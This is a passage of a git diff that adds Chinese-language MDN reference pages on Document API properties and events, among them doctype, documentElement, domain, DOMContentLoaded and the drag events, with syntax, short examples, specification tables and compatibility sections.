无论是页面可是区域的改变还是<code>Document.dir属性的改变都会正确的反映这一变化。</code></p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a class="external" href="http://msdn.microsoft.com/en-us/library/ms533731.aspx" rel="freelink">http://msdn.microsoft.com/en-us/library/ms533731.aspx</a></li> +</ul> diff --git a/files/zh-cn/web/api/document/doctype/index.html b/files/zh-cn/web/api/document/doctype/index.html new file mode 100644 index 0000000000..0f83dfa1c6 --- /dev/null +++ b/files/zh-cn/web/api/document/doctype/index.html @@ -0,0 +1,59 @@ +--- +title: document.doctype +slug: Web/API/Document/doctype +translation_of: Web/API/Document/doctype +--- +<div>{{ApiRef("DOM")}}</div> + +<div>返回当前文档关联的文档类型定义(DTD). 返回的对象实现了 <a href="../../../zh-CN/DOM/DocumentType" title="zh-CN/DOM/DocumentType">DocumentType</a> 接口。使用 {{domxref("DOMImplementation.createDocumentType()")}} 方法可以创建一个<code>DocumentType</code>类型的对象。</div> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="syntaxbox"><var>doctype</var> = <var>document</var>.doctype; +</pre> + +<ul> + <li><code>doctype</code> 是一个只读属性.</li> +</ul> + +<h2 id="示例">示例</h2> + +<pre class="brush:js">var doctypeObj = document.doctype; + +console.log( + "doctypeObj.name: " + doctypeObj.name + "\n" + + "doctypeObj.internalSubset: " + doctypeObj.internalSubset + "\n" + + "doctypeObj.publicId: " + doctypeObj.publicId + "\n" + + "doctypeObj.systemId: " + doctypeObj.systemId +);</pre> + +<h2 id="Notes" name="Notes">附注</h2> + +<p>如果当前文档没有DTD，则该属性返回<code>null</code>。</p> + +<p>DOM level 2 不支持编辑文档类型定义。</p> + +<h2 id="Specification" name="Specification">规范</h2> + +<table> + <thead> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-doctype', 'Document: doctype')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<div class="hidden">这个页面的兼容性表格是由结构数据生成。如果你想对数据作出贡献，详情请前往 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 并给我们一个PR。</div> + +<p>{{Compat("api.Document.doctype")}}</p> diff --git a/files/zh-cn/web/api/document/document/index.html b/files/zh-cn/web/api/document/document/index.html new file mode 100644 index 0000000000..d1fb969e87 --- /dev/null +++ b/files/zh-cn/web/api/document/document/index.html @@ -0,0 +1,42 @@ +--- +title: Document() +slug: Web/API/Document/Document +tags: + - API + - DOM + - Document + - 构造器 +translation_of: Web/API/Document/Document +--- +<p>{{APIRef}}</p> + +<p><strong><code>Document</code></strong> 构造器创建一个新的 {{domxref("Document")}} 对象，该对象是在浏览器中加载的页面，并作为页面内容的入口点。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">new Document();</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG','#interface-document','Document')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<div>{{Compat("api.Document.Document")}}</div> diff --git a/files/zh-cn/web/api/document/documentelement/index.html b/files/zh-cn/web/api/document/documentelement/index.html new file mode 100644 index 0000000000..2b1034009e --- /dev/null +++ b/files/zh-cn/web/api/document/documentelement/index.html @@ -0,0 +1,77 @@ +--- +title: document.documentElement +slug: Web/API/Document/documentElement +tags: + - API + - DOM + - Property + - Reference + - 只读 + - 属性 +translation_of: Web/API/Document/documentElement +--- +<div>{{ApiRef("DOM")}}</div> + +<p><code style="font-style: normal;"><strong>Document.documentElement</strong></code> 是一个会返回文档对象（{{domxref("document")}}）的根{{domxref("Element", "元素")}}的只读属性（如HTML文档的 {{HTMLElement("html")}} 元素）。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">var <var>element</var> = <var>document</var>.documentElement; +</pre> + +<h2 id="示例">示例</h2> + +<pre class="brush:js">const rootElement = document.documentElement; +const firstTier = rootElement.childNodes; + +// firstTier 是由根元素的所有子节点组成的一个 NodeList +for (let i = 0; i < firstTier.length; i++) { + // 使用根节点的每个子节点 + // 如 firstTier[i] +}</pre> + +<h2 id="备注">备注</h2> + +<p>对于任何非空 HTML 文档，调用 <code>document.documentElement</code> 总是会返回一个 {{HTMLElement("html")}} 元素，且它一定是该文档的根元素。借助这个只读属性，能方便地获取到任意文档的根元素。</p> + +<p>HTML 文档通常包含一个子节点 {{HTMLElement("html")}}，但在它前面可能还有个 DOCTYPE 声明。XML 文档通常包含多个子节点：根元素，DOCTYPE 声明，和 <a href="/zh-CN/docs/DOM/ProcessingInstruction">processing instructions</a>。</p> + +<p>所以，应当使用 <code>document.documentElement</code> 来获取根元素, 而不是 {{Domxref("document.firstChild")}}。</p> + +<h2 id="规范">规范</h2> + +<table class="spectable standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + <tr> + <td>{{SpecName('DOM2 Core','core.html#ID-87CD092','Document.documentElement')}}</td> + <td>{{Spec2('DOM2 Core')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('DOM3 Core','core.html#ID-87CD092','Document.documentElement')}}</td> + <td>{{Spec2('DOM3 Core')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('DOM4','#dom-document-documentelement','Document.documentElement')}}</td> + <td>{{Spec2('DOM4')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG','#dom-document-documentelement','Document.documentElement')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.Document.documentElement")}}</p> diff --git a/files/zh-cn/web/api/document/documenturi/index.html b/files/zh-cn/web/api/document/documenturi/index.html new file mode 100644 index 0000000000..f3efc6002b --- /dev/null +++ b/files/zh-cn/web/api/document/documenturi/index.html @@ -0,0 +1,55 @@ +--- +title: document.documentURI +slug: Web/API/Document/documentURI +tags: + - API + - DOM + - Document +translation_of: Web/API/Document/documentURI +--- +<div>{{ApiRef("DOM")}}</div> + +<div>{{domxref("Document")}} 接口的属性 <code><strong>documentURI</strong></code> 以字符串的形式返回文档的位置（location）。</div> + +<div> </div> + +<div>在最初的DOM3定义中，这个属性是可读/写的。在现代的DOM标准（DOM4）中，它是只读的。</div> + +<div> </div> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="syntaxbox"><code>var string = document.documentURI;</code> +</pre> + +<h2 id="Notes" name="Notes">备注</h2> + +<p>HTML 文档有一个 {{domxref("document.URL")}} 属性返回同样的值。但是不像 <code>URL</code>，<code>documentURI</code> 适用于所有类型的文档。</p> + +<h2 id="Specification" name="Specification">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-documenturi','documentURI')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('DOM3 Core', '#Document3-documentURI', 'documentURI')}}</td> + <td>{{Spec2('DOM3 Core')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.Document.documentURI")}}</p> diff --git a/files/zh-cn/web/api/document/documenturiobject/index.html b/files/zh-cn/web/api/document/documenturiobject/index.html new file mode 100644 index 0000000000..031e345c63 --- /dev/null +++ b/files/zh-cn/web/api/document/documenturiobject/index.html @@ -0,0 +1,26 @@ +--- +title: document.documentURIObject +slug: Web/API/Document/documentURIObject +translation_of: Web/API/Document/documentURIObject +--- +<p>{{ ApiRef() }}</p> +<h3 id="Summary" name="Summary">概述</h3> +<p>该属性返回一个<code><a class="new" href="../../Article_not_found?uri=zh-cn/XPCOM_Interface_Reference/nsIURI&ident=nsIURI" rel="internal">nsIURI</a></code> 对象,值为当前文档的URI.</p> +<p>该属性只能在拥有UniversalXPConnect特权的代码中运行,比如扩展中的代码.如果是web页面中的代码,则该属性默认不存在,必须开启UniversalXPConnect特权才可用.</p> +<p>使用特权代码必须小心,不要在一个non-wrapped的content对象上使用该属性 (比如一个<code><a href="/zh-cn/XPCNativeWrapper" title="zh-cn/XPCNativeWrapper">XPCNativeWrapper</a></code>方法处理过的<code>wrappedJSObject</code>). 查看 {{ Bug("324464") }} 了解详情</p> +<h3 id="Syntax" name="Syntax">语法</h3> +<pre class="eval">var <em>uri</em> = <em>doc</em>.documentURIObject; +</pre> +<h3 id="Example" name="Example">例子</h3> +<pre class="eval">// 检测Firefox当前标签中的页面的URI协议是否为'http', +// 下面的代码必须运行在browser.xul上下文上. +var uriObj = content.document.documentURIObject; +var uriPort = uriObj.port; + +if (uriObj.schemeIs('http')) { + ... +} +</pre> +<h3 id="Specification" name="Specification">规范</h3> +<p>不属于任何公开的规范.</p> +<p>{{ languages( { "es": "es/DOM/document.documentURIObject", "fr": "fr/DOM/document.documentURIObject", "ja": "ja/DOM/document.documentURIObject", "en": "en/DOM/document.documentURIObject" } ) }}</p> diff --git a/files/zh-cn/web/api/document/domain/index.html b/files/zh-cn/web/api/document/domain/index.html new file mode 100644 index 0000000000..b6951d94a0 --- /dev/null +++ b/files/zh-cn/web/api/document/domain/index.html @@ -0,0 +1,101 @@ +--- +title: Document.domain +slug: Web/API/Document/domain +tags: + - API + - DOM + - Document + - 参考 + - 同源策略 + - 属性 + - 跨域 +translation_of: Web/API/Document/domain +--- +<div>{{ApiRef}}</div> + +<p>{{domxref("Document")}} 接口的 <strong><code>domain</code></strong> 属性获取/设置当前文档的原始域部分，常用于<a href="/en-US/docs/Web/Security/Same-origin_policy">同源策略</a>。</p> + +<p>如果成功设置此属性，则原始端口的端口部分也将设置为 <code>null</code>.</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">var <var>domainString</var> = <var>document</var>.domain; +<var>document</var>.domain = <var>domainString</var>;</pre> + +<h3 id="值">值</h3> + +<p>当前文档来源的域部分.</p> + +<h3 id="异常">异常</h3> + +<dl> + <dt>安全错误</dt> + <dd>已尝试在以下情况之一下设置域： + <ul> + <li>文件在html中的iframe元素里</li> + <li>该文件没有参考上下文</li> + <li>该文档的有效域为null</li> + <li>给定值不等于文档的有效域（或者它不是该域的可注册域后缀）</li> + <li>The {{httpheader('Feature-Policy/document-domain','document-domain')}} {{HTTPHeader("Feature-Policy")}}一启用</li> + </ul> + </dd> +</dl> + +<h2 id="例子">例子</h2> + +<h3 id="获取域名">获取域名</h3> + +<p>对于URI http://developer.mozilla.org/en-US/docs/Web，此示例将currentDomain设置为字符串“ developer.mozilla.org”。</p> + +<pre class="brush:js">var currentDomain = document.domain;</pre> + +<h3 id="关闭窗口">关闭窗口</h3> + +<p>如果文档（例如www.example.xxx/good.html）的域为“ www.example.xxx”，则本示例将尝试关闭窗口。</p> + +<pre class="brush:js">var badDomain = "www.example.xxx"; + +if (document.domain == badDomain) { + // 这只是一个示例 - 有时 window.close() 是没有效果的 + window.close(); +} +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG','origin.html#relaxing-the-same-origin-restriction','Document.domain')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<div class="hidden">此页面上的兼容性表是根据结构化数据生成的。如果您想贡献数据，请查看https://github.com/mdn/browser-compat-data并向我们发送请求请求</div> + +<div>{{Compat("api.Document.domain")}}</div> + +<h3 id="Firefox_备注">Firefox 备注</h3> + +<p>如果当前文档的域无法识别，那么 domain 属性会返回 null。但这个表现在 Firefox 62 时发生了更改——详见 {{bug(819475)}} 中的讨论。</p> + +<p>在<a href="/en-US/docs/XPCOM_Interface_Reference/nsIEffectiveTLDService#getBaseDomain.28.29">根域名</a>范围内，Mozilla 允许你把 domain 属性的值设置为它的上一级域。例如，在 developer.mozilla.org 域内，可以把 domain 设置为 "mozilla.org" 但不能设置为 "mozilla.com" 或者"org"。</p> + +<p>Mozilla 会区分 <code>document.domain</code> 属性 <strong>从没有被设定过值 </strong>和 <strong>被显示的设定为跟该文档的 URL 的 domain 一致的值</strong>，尽管这两种状况下，该属性会返回同样的值。两个文档，只有在 <code>document.domain</code> 都被设定为同一个值，表明他们打算协作；或者都没有设定 <code>document.domain</code> 属性并且URL的域是一致的 (<a href="https://mxr.mozilla.org/mozilla-central/source/caps/src/nsScriptSecurityManager.cpp#1003">如何判断一致</a>)，这两种条件下，一个文档才可以去访问另一个文档。如果没有这个特殊的策略，每一个站点都会成为他的子域的 XSS 攻击的对象（例如，<a class="link-https" href="https://bugzilla.mozilla.org" rel="freelink">https://bugzilla.mozilla.org</a> 可以被来自 <a class="link-https" href="https://bug*.bugzilla.mozilla.org" rel="freelink">https://bug*.bugzilla.mozilla.org</a> 站点的 bug 附件攻击）。</p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="/en-US/docs/Web/Security/Same-origin_policy">Same origin policy for JavaScript</a></li> +</ul> diff --git a/files/zh-cn/web/api/document/domcontentloaded_event/index.html b/files/zh-cn/web/api/document/domcontentloaded_event/index.html new file mode 100644 index 0000000000..62b7c07d1a --- /dev/null +++ b/files/zh-cn/web/api/document/domcontentloaded_event/index.html @@ -0,0 +1,184 @@ +--- +title: 'Document: DOMContentLoaded 事件' +slug: Web/API/Document/DOMContentLoaded_event +tags: + - 事件 +translation_of: Web/API/Document/DOMContentLoaded_event +--- +<div>{{APIRef}}</div> + +<p>当纯HTML被完全加载以及解析时，<strong><code>DOMContentLoaded</code> </strong>事件会被触发，而不必等待样式表，图片或者子框架完成加载。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">冒泡阶段</th> + <td>Yes</td> + </tr> + <tr> + <th scope="row">可撤销性</th> + <td>Yes (尽管它被指定为一个简单事件时是不可撤销的)</td> + </tr> + <tr> + <th scope="row">接口</th> + <td>{{domxref("Event")}}</td> + </tr> + <tr> + <th scope="row">事件句柄属性</th> + <td>None</td> + </tr> + </tbody> +</table> + +<p>一个易混用但不同的事件是，<code><a href="/en-US/docs/Web/API/Window/load_event">load</a></code>,这个事件仅仅应该在探测到整个页面完全加载完成时被使用。一个常见的错误就是在该使用<code>DOMContentLoaded</code>的地方使用了<code>load</code> 。</p> + +<p>JavaScript的同步模式会导致DOM解析暂停。如果你想在用户请求页面时，首先尽可能先解析DOM，此时你可以使用<a href="/en-US/docs/Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests">JavaScript异步模式</a>，并且<a href="https://developers.google.com/speed/docs/insights/OptimizeCSSDelivery">优化样式表的加载</a>。在通常模式的加载过程中，样式表的加载会与DOM解析并行，从而迟缓主要HTMl文档的加载。</p> + +<h2 id="例子"><strong>例子</strong></h2> + +<h3 id="基本用法">基本用法</h3> + +<pre class="brush: js">document.addEventListener('DOMContentLoaded', (event) => { + console.log('DOM fully loaded and parsed'); // 译者注："DOM完全加载以及解析" +}); +</pre> + +<h3 id="延迟_DOMContentLoaded"> 延迟 DOMContentLoaded</h3> + +<pre class="brush: html"><script> + document.addEventListener('DOMContentLoaded', (event) => { + console.log('DOM fully loaded and parsed'); + }); + +for( let i = 0; i < 1000000000; i++) +{} // 这段同步脚本将会延迟DOM解析, + // 所以DOMContentLoaded事件将会延迟执行. +</script> +</pre> + +<h3 id="检查加载是否已经完成">检查加载是否已经完成</h3> + +<p>在你的脚本有机会运行前，<code>DOMContentLoaded</code>可能就已经被触发。所以你在决定添加一个事件监听器前最好先检查一下。</p> + +<pre class="brush: js">function doSomething() { + console.info('DOM loaded'); +} + +if (document.readyState === 'loading') { // 此时加载尚未完成 + document.addEventListener('DOMContentLoaded', doSomething); +} else { // 此时`DOMContentLoaded` 已经被触发 + doSomething(); +} +</pre> + +<h3 id="实例">实例</h3> + +<h4 id="HTML">HTML</h4> + +<pre class="brush: html"><div class="controls"> + <button id="reload" type="button">Reload</button> +</div> + +<div class="event-log"> + <label>Event log:</label> + <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea> +</div></pre> + +<div class="hidden"> +<h4 id="CSS">CSS</h4> + +<pre class="brush: css">body { + display: grid; + grid-template-areas: "control log"; +} + +.controls { + grid-area: control; + display: flex; + align-items: center; + justify-content: center; +} + +.event-log { + grid-area: log; +} + +.event-log-contents { + resize: none; +} + +label, button { + display: block; +} + +#reload { + height: 2rem; +} + +</pre> +</div> + +<h4 id="JS">JS</h4> + +<pre class="brush: js">const log = document.querySelector('.event-log-contents'); +const reload = document.querySelector('#reload'); + +reload.addEventListener('click', () => { + log.textContent =''; + window.setTimeout(() => { + window.location.reload(true); + }, 200); +}); + +window.addEventListener('load', (event) => { + log.textContent = log.textContent + 'load\n'; +}); + +document.addEventListener('readystatechange', (event) => { + log.textContent = log.textContent + `readystate: ${document.readyState}\n`; +}); + +document.addEventListener('DOMContentLoaded', (event) => { + log.textContent = log.textContent + `DOMContentLoaded\n`; +}); + +</pre> + +<h4 id="结果展示">结果展示</h4> + +<p>{{ EmbedLiveSample('实例', '100%', '160px') }}</p> + +<h2 id="规范"><strong>规范</strong></h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', 'parsing.html#the-end:event-domcontentloaded', 'DOMContentLoaded')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', 'parsing.html#the-end:event-domcontentloaded', 'DOMContentLoaded')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.Document.DOMContentLoaded_event")}}</p> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li>有关事件: <code><a href="/en-US/docs/Web/API/Window/load_event">load</a></code>, <code><a href="/en-US/docs/Web/API/Document/readystatechange_event">readystatechange</a></code>, <code><a href="/en-US/docs/Web/API/Window/beforeunload_event">beforeunload</a></code>, <code><a href="/en-US/docs/Web/API/Window/unload_event">unload</a></code></li> + <li><code><a href="/en-US/docs/Web/API/Window">Window</a></code> 对象中的此事件: <code><a href="/en-US/docs/Web/API/Window/DOMContentLoaded_event">DOMContentLoaded</a></code></li> +</ul> diff --git a/files/zh-cn/web/api/document/drag_event/index.html b/files/zh-cn/web/api/document/drag_event/index.html new file mode 100644 index 0000000000..906df8743d --- /dev/null +++ b/files/zh-cn/web/api/document/drag_event/index.html @@ -0,0 +1,340 @@ +--- +title: drag +slug: Web/API/Document/drag_event +tags: + - DOM + - Event + - drag and drop + - 事件 + - 参考 + - 拖动 +translation_of: Web/API/Document/drag_event +--- +<div>{{APIRef}}</div> + +<p>当元素或者选择的文本被拖动时触发 <code>drag</code> 事件 (每几百毫秒).</p> + +<h2 id="基本信息">基本信息</h2> + +<table class="properties"> + <tbody> + <tr> + <td>是否冒泡</td> + <td>是</td> + </tr> + <tr> + <td>是否可以取消</td> + <td>是</td> + </tr> + <tr> + <td>目标对象</td> + <td>{{domxref("Document")}}, {{domxref("Element")}}</td> + </tr> + <tr> + <td>接口</td> + <td>{{domxref("DragEvent")}}</td> + </tr> + <tr> + <td>默认行为</td> + <td>Continue the drag & drop operation.</td> + </tr> + </tbody> +</table> + +<h2 id="属性">属性</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Property</th> + <th scope="col">Type</th> + <th scope="col">Description</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>target</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td> + <td>被拖动元素下方的元素</td> + </tr> + <tr> + <td><code>type</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td> + <td>事件类型</td> + </tr> + <tr> + <td><code>bubbles</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td> + <td>事件是否冒泡</td> + </tr> + <tr> + <td><code>cancelable</code> {{readonlyInline}}</td> + <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td> + <td>该事件是否可以被取消</td> + </tr> + <tr> + <td><code>view</code> {{readonlyInline}}</td> + <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td> + <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td> + </tr> + <tr> + <td><code>detail</code> {{readonlyInline}}</td> + <td><code>long</code> (<code>float</code>)</td> + <td>0.</td> + </tr> + <tr> + <td><code>dataTransfer</code></td> + <td>DataTransfer</td> + <td>The data that underlies a drag-and-drop operation, known as the <a href="/en-US/docs/Web/API/DataTransfer">drag data store</a>. Protected mode.</td> + </tr> + <tr> + <td><code>currentTarget</code> {{readonlyInline}}</td> + <td>EventTarget</td> + <td>The node that had the event listener attached.</td> + </tr> + <tr> + <td><code>relatedTarget</code> {{readonlyInline}}</td> + <td>EventTarget</td> + <td>For <code>mouseover</code>, <code>mouseout</code>, <code>mouseenter</code> and <code>mouseleave</code> events: the target of the complementary event (the <code>mouseleave</code> target in the case of a <code>mouseenter</code> event). <code>null</code> otherwise.</td> + </tr> + <tr> + <td><code>screenX</code> {{readonlyInline}}</td> + <td>long</td> + <td>The X coordinate of the mouse pointer in global (screen) coordinates.</td> + </tr> + <tr> + <td><code>screenY</code> {{readonlyInline}}</td> + <td>long</td> + <td>The Y coordinate of the mouse pointer in global (screen) coordinates.</td> + </tr> + <tr> + <td><code>clientX</code> {{readonlyInline}}</td> + <td>long</td> + <td>The X coordinate of the mouse pointer in local (DOM content) coordinates.</td> + </tr> + <tr> + <td><code>clientY</code> {{readonlyInline}}</td> + <td>long</td> + <td>The Y coordinate of the mouse pointer in local (DOM content) coordinates.</td> + </tr> + <tr> + <td><code>button</code> {{readonlyInline}}</td> + <td>unsigned short</td> + <td>The button number that was pressed when the mouse event was fired: Left button=0, middle button=1 (if present), right button=2. For mice configured for left handed use in which the button actions are reversed the values are instead read from right to left.</td> + </tr> + <tr> + <td><code>buttons</code> {{readonlyInline}}</td> + <td>unsigned short</td> + <td>The buttons being pressed when the mouse event was fired: Left button=1, Right button=2, Middle (wheel) button=4, 4th button (typically, "Browser Back" button)=8, 5th button (typically, "Browser Forward" button)=16. If two or more buttons are pressed, returns the logical sum of the values. E.g., if Left button and Right button are pressed, returns 3 (=1 | 2). <a href="/en-US/docs/Web/API/MouseEvent">More info</a>.</td> + </tr> + <tr> + <td><code>mozPressure</code> {{readonlyInline}}</td> + <td>float</td> + <td>The amount of pressure applied to a touch or tabdevice when generating the event; this value ranges between 0.0 (minimum pressure) and 1.0 (maximum pressure).</td> + </tr> + <tr> + <td><code>ctrlKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>shiftKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>altKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + <tr> + <td><code>metaKey</code> {{readonlyInline}}</td> + <td>boolean</td> + <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td> + </tr> + </tbody> +</table> + +<h2 id="示例">示例</h2> + +<pre class="brush: js"><div class="dropzone"> + <div id="draggable" draggable="true" ondragstart="event.dataTransfer.setData('text/plain',null)"> + This div is draggable + </div> +</div> +<div class="dropzone"></div> +<div class="dropzone"></div> +<div class="dropzone"></div> + +<style> + #draggable { + width: 200px; + height: 20px; + text-align: center; + background: white; + } + + .dropzone { + width: 200px; + height: 20px; + background: blueviolet; + margin-bottom: 10px; + padding: 10px; + } +</style> + +<script> + var dragged; + + /* 拖动目标元素时触发drag事件 */ + document.addEventListener("drag", function( event ) { + + }, false); + + document.addEventListener("dragstart", function( event ) { + // 保存拖动元素的引用(ref.) + dragged = event.target; + // 使其半透明 + event.target.style.opacity = .5; + }, false); + + document.addEventListener("dragend", function( event ) { + // 重置透明度 + event.target.style.opacity = ""; + }, false); + + /* 放置目标元素时触发事件 */ + document.addEventListener("dragover", function( event ) { + // 阻止默认动作以启用drop + event.preventDefault(); + }, false); + + document.addEventListener("dragenter", function( event ) { + // 当可拖动的元素进入可放置的目标时高亮目标节点 + if ( event.target.className == "dropzone" ) { + event.target.style.background = "purple"; + } + + }, false); + + document.addEventListener("dragleave", function( event ) { + // 当拖动元素离开可放置目标节点，重置其背景 + if ( event.target.className == "dropzone" ) { + event.target.style.background = ""; + } + + }, false); + + document.addEventListener("drop", function( event ) { + // 阻止默认动作（如打开一些元素的链接） + event.preventDefault(); + // 将拖动的元素到所选择的放置目标节点中 + if ( event.target.className == "dropzone" ) { + event.target.style.background = ""; + dragged.parentNode.removeChild( dragged ); + event.target.appendChild( dragged ); + } + + }, false); +</script></pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName("HTML WHATWG", "interaction.html#dndevents", "drag event")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName("HTML5.1", "editing.html#dndevents", "drag event")}}</td> + <td>{{Spec2("HTML5.1")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器支持">浏览器支持</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>4</td> + <td>{{CompatGeckoDesktop("1.9.1")}}</td> + <td>10</td> + <td>12</td> + <td>3.1</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Android Webview</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatIE("10")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="相关">相关</h2> + +<ul> + <li>其它拖放事件： + <ul> + <li>{{domxref("Document/dragstart_event", "dragstart")}}</li> + <li>{{domxref("Document/dragend_event", "dragend")}}</li> + <li>{{domxref("Document/dragover_event", "dragover")}}</li> + <li>{{domxref("Document/dragenter_event", "dragenter")}}</li> + <li>{{domxref("Document/dragleave_event", "dragleave")}}</li> + <li>{{domxref("Document/dragexit_event", "dragexit")}}</li> + <li>{{domxref("Document/drop_event", "drop")}}</li> + </ul> + </li> + <li>其他目标上的拖放事件 + <ul> + <li>{{domxref("Window")}}: {{domxref("Window/drag_event", "drag")}} event</li> + <li>{{domxref("HTMLElement")}}: {{domxref("HTMLElement/drag_event", "drag")}} event</li> + <li>{{domxref("SVGElement")}}: {{domxref("SVGElement/drag_event", "drag")}} event</li> + </ul> + </li> +</ul> diff --git a/files/zh-cn/web/api/document/dragend_event/index.html b/files/zh-cn/web/api/document/dragend_event/index.html new file mode 100644 index 0000000000..a42129345d --- /dev/null +++ b/files/zh-cn/web/api/document/dragend_event/index.html @@ -0,0 +1,254 @@ +--- +title: dragend +slug: Web/API/Document/dragend_event +tags: + - DOM + - Event + - drag and drop + - 事件 + - 参考 +translation_of: Web/API/Document/dragend_event +--- +<div>拖放事件在拖放操作结束时触发(通过释放鼠标按钮或单击escape键)。</div> + +<h2 id="基本信息">基本信息</h2> + +<table class="properties"> + <tbody> + <tr> + <td>Bubbles</td> + <td>Yes</td> + </tr> + <tr> + <td>Cancelable</td> + <td>No</td> + </tr> + <tr> + <td>Target objects</td> + <td>{{domxref("Document")}}, {{domxref("Element")}}</td> + </tr> + <tr> + <td>Interface</td> + <td>{{domxref("DragEvent")}}</td> + </tr> + <tr> + <td>Default Action</td> + <td>Varies.</td> + </tr> + </tbody> +</table> + +<h2 id="属性">属性</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Property</th> + <th scope="col">Type</th> + <th 